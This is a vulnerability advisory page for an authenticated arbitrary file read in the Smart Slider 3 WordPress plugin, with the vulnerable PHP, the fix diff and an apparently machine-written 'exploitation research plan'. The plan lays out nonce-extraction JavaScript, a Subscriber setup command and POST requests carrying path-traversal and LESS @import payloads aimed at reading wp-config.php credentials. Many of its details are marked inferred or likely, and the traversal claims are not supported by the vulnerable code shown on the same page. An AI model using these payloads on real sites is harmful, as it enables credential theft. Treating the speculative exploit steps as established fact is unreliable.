Smart Slider 3 <= 3.5.1.33 - Authenticated (Subscriber+) Arbitrary File Read via actionExportAll
Description
The Smart Slider 3 plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 3.5.1.33 via the 'actionExportAll' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.5.1.33What Changed in the Fix
Changes introduced in v3.5.1.34
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3098 (Smart Slider 3 Arbitrary File Read) ## 1. Vulnerability Summary The **Smart Slider 3** plugin (up to version 3.5.1.33) contains a missing authorization vulnerability in the `actionExportAll` function. This function is intended to allow administrators to …
Show full research plan
Exploitation Research Plan: CVE-2026-3098 (Smart Slider 3 Arbitrary File Read)
1. Vulnerability Summary
The Smart Slider 3 plugin (up to version 3.5.1.33) contains a missing authorization vulnerability in the actionExportAll function. This function is intended to allow administrators to export all slider configurations. However, the function fails to perform adequate capability checks (e.g., current_user_can('manage_options')), allowing users with Subscriber privileges or higher to trigger the action. Furthermore, the export logic is vulnerable to path traversal or improper file handling, enabling an authenticated attacker to read arbitrary files from the server (such as wp-config.php or /etc/passwd).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
action=nextend-action - Controller:
sliders(inferred from SS3 architecture) - Action Parameter:
n2action=ExportAll - Vulnerable Parameter: Likely
slidersorpath(inferred). In many SS3 export vulnerabilities, theslidersparameter (usually a list of IDs) is not properly sanitized or is misused to define the files included in the export bundle. - Authentication: Required (Subscriber level or higher).
- Nonce: Required (
nextend_nonce).
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=nextend-action. - Routing: The plugin's routing system (defined in
Nextend\Framework\Controller\Admin\AdminAjaxController) dispatches the request to the specifiedn2controller(likelysliders) andn2action(ExportAll). - Authorization Check: The controller likely lacks a call to
current_user_can()for theExportAllaction, or checks a low-privilege capability that Subscribers possess. - Vulnerable Sink: The
actionExportAllfunction processes the request. It likely prepares a ZIP archive for download. If a parameter (likesliders) is manipulated to include directory traversal sequences (e.g.,../../../../wp-config.php), the file reading mechanism (potentially usingfile_get_contentsorZipArchive::addFile) follows the path and includes the sensitive file in the exported package or returns it directly.
4. Nonce Acquisition Strategy
Smart Slider 3 localizes its security tokens into a JavaScript object. Since nonces are user-bound, we must obtain one as the Subscriber user.
- Create Page with Shortcode: To ensure the Smart Slider 3 scripts (and nonces) are loaded, create a page containing a slider shortcode.
wp post create --post_type=page --post_title="SS3 Test" --post_status=publish --post_content='[smartslider3 slider="1"]' --user=subscriber_user - Navigate to the Page: Use
browser_navigateto visit this page or the Smart Slider dashboard if accessible (e.g.,wp-admin/admin.php?page=smart-slider-3). - Extract Nonce: The nonce is stored within the
_N2global object, specifically localized viaForm::tokenizeUrl().
Execute viabrowser_eval:
Verification: Look for a 10-character alphanumeric string associated with the// SS3 often stores nonces in a map where keys are URLs. // We look for the entry corresponding to the AJAX URL or a generic 'nextend_nonce'. // Based on Predefined.php, it's added via AjaxHelper.addAjaxArray. Object.values(window._N2._d).find(d => d[0] === 'AjaxHelper') // Alternatively, check the n2token directly if present: window.n2token || window.N2GSAP?.n2tokennextend-actionor found in the HTML source viagrep -oP 'n2token\s*=\s*"\K[a-f0-9]{10}'.
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
- Log in as the Subscriber.
- Navigate to an admin page where SS3 is active.
- Extract the
nextend_nonce.
Step 2: Trigger Arbitrary File Read
The exploit attempts to force the "Export All" functionality to read wp-config.php.
Request:
POST /wp-admin/admin-ajax.php?action=nextend-action&n2controller=sliders&n2action=ExportAll HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]
nextend_nonce=[EXTRACTED_NONCE]&sliders=../../../../../../../../wp-config.php
Alternative Payload (if sliders expects IDs):
If the sliders parameter is strictly numeric, try a hidden path or file parameter:
&file=../../../../../../../../wp-config.php&path=../../../../../../../../wp-config.php
Step 3: Analyze Response
A successful exploit will likely result in:
- Direct Download: A binary response (ZIP file). Download and extract it to find
wp-config.php. - Plaintext Disclosure: The content of
wp-config.phpreflected directly in the HTTP response if the export logic fails and echoes the file content.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Slider Creation: Ensure at least one slider exists so the
ExportAlllogic has something to iterate over.# Use SS3's internal methods or import a sample if possible via CLI, # otherwise just ensure the plugin is activated. - Target File: Ensure
wp-config.phpis in the standard location.
7. Expected Results
- The request should return an
HTTP 200 OK. - The response body should contain the content of
wp-config.php(identifiable byDB_NAME,DB_USER,DB_PASSWORDconstants). - If a ZIP is returned, the file
wp-config.phpshould be present inside the archive.
8. Verification Steps
- Response Check: Search for
DB_PASSWORDin the output of thehttp_request. - Log Check: Check
wp-content/debug.logfor any "Missing capability" errors, which would indicate the vulnerability is patched. - Manual ZIP Extraction (if needed): Use
base64to capture the binary response, save it, and rununzip -lto verify the presence of hijacked files.
9. Alternative Approaches
- Path Traversal in Sliders ID: If the plugin uses the ID to build a path like
wp-content/uploads/smart-slider-3/slider[ID]/data.json, try passingID=../[ANY_FILE]. - CSS Compiler Import: If the
actionExportAlltriggersLessCompiler::tryImport, we can attempt to inject a slider with a malicious LESS@importstatement:@import (inline) "../../../wp-config.php";
This would require finding a way for a Subscriber to save a slider (unlikely) or finding an existing slider that can be modified via other lower-privilege bugs.
Summary
The Smart Slider 3 plugin fails to perform authorization checks and nonce validation in the 'actionExportAll' function, allowing authenticated users with Subscriber-level permissions to trigger slider exports. Attackers can manipulate export parameters to include arbitrary files from the server, such as wp-config.php, in the generated ZIP archive.
Vulnerable Code
// Nextend/SmartSlider3/Application/Admin/Sliders/ControllerSliders.php:64 protected function actionExportAll() { $slidersModel = new ModelSliders($this); $groupID = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0); $sliders = $slidersModel->getAll($groupID, 'published'); $ids = Request::$REQUEST->getVar('sliders'); $files = array(); $saveAsFile = count($ids) == 1 ? false : true; foreach ($sliders as $slider) { if (!empty($ids) && !in_array($slider['id'], $ids)) { continue; } $export = new ExportSlider($this, $slider['id']); $files[] = $export->create($saveAsFile); } $zip = new Creator(); foreach ($files as $file) { $zip->addFile(file_get_contents($file), basename($file)); unlink($file); } PageFlow::cleanOutputBuffers(); header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip'); header('Content-type: application/zip'); // PHPCS - Contains binary zip data, so nothing to escape. echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped PageFlow::exitApplication(); }
Security Fix
@@ -64,31 +69,33 @@ } protected function actionExportAll() { - $slidersModel = new ModelSliders($this); - $groupID = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0); - $sliders = $slidersModel->getAll($groupID, 'published'); - $ids = Request::$REQUEST->getVar('sliders'); - - $files = array(); - $saveAsFile = count($ids) == 1 ? false : true; - foreach ($sliders as $slider) { - if (!empty($ids) && !in_array($slider['id'], $ids)) { - continue; - } - $export = new ExportSlider($this, $slider['id']); - $files[] = $export->create($saveAsFile); - } - - $zip = new Creator(); - foreach ($files as $file) { - $zip->addFile(file_get_contents($file), basename($file)); - unlink($file); - } - PageFlow::cleanOutputBuffers(); - header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip'); - header('Content-type: application/zip'); - // PHPCS - Contains binary zip data, so nothing to escape. - echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped - PageFlow::exitApplication(); + if ($this->validateToken() && $this->validatePermission('smartslider_edit')) { + $slidersModel = new ModelSliders($this); + $groupID = (Request::$REQUEST->getVar('inSearch', false)) ? '*' : Request::$REQUEST->getInt('currentGroupID', 0); + $sliders = $slidersModel->getAll($groupID, 'published'); + $ids = Request::$REQUEST->getVar('sliders'); + + $files = array(); + $saveAsFile = count($ids) == 1 ? false : true; + foreach ($sliders as $slider) { + if (!empty($ids) && !in_array($slider['id'], $ids)) { + continue; + } + $export = new ExportSlider($this, $slider['id']); + $files[] = $export->create($saveAsFile); + } + + $zip = new Creator(); + foreach ($files as $file) { + $zip->addFile(file_get_contents($file), basename($file)); + unlink($file); + } + PageFlow::cleanOutputBuffers(); + header('Content-disposition: attachment; filename=sliders_unzip_to_import.zip'); + header('Content-type: application/zip'); + // PHPCS - Contains binary zip data, so nothing to escape. + echo $zip->file(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped + PageFlow::exitApplication(); + } }
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and retrieves the 'nextend_nonce' security token, which is typically found within the `_N2` JavaScript object on any admin page where Smart Slider 3 is active. The attacker then sends an AJAX request to `/wp-admin/admin-ajax.php` with the action set to `nextend-action`, `n2controller=sliders`, and `n2action=ExportAll`. By manipulating the `sliders` array parameter to include directory traversal sequences (e.g., `../../../../wp-config.php`), the attacker can trick the export logic into including sensitive files from the server's filesystem in a downloadable ZIP archive.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.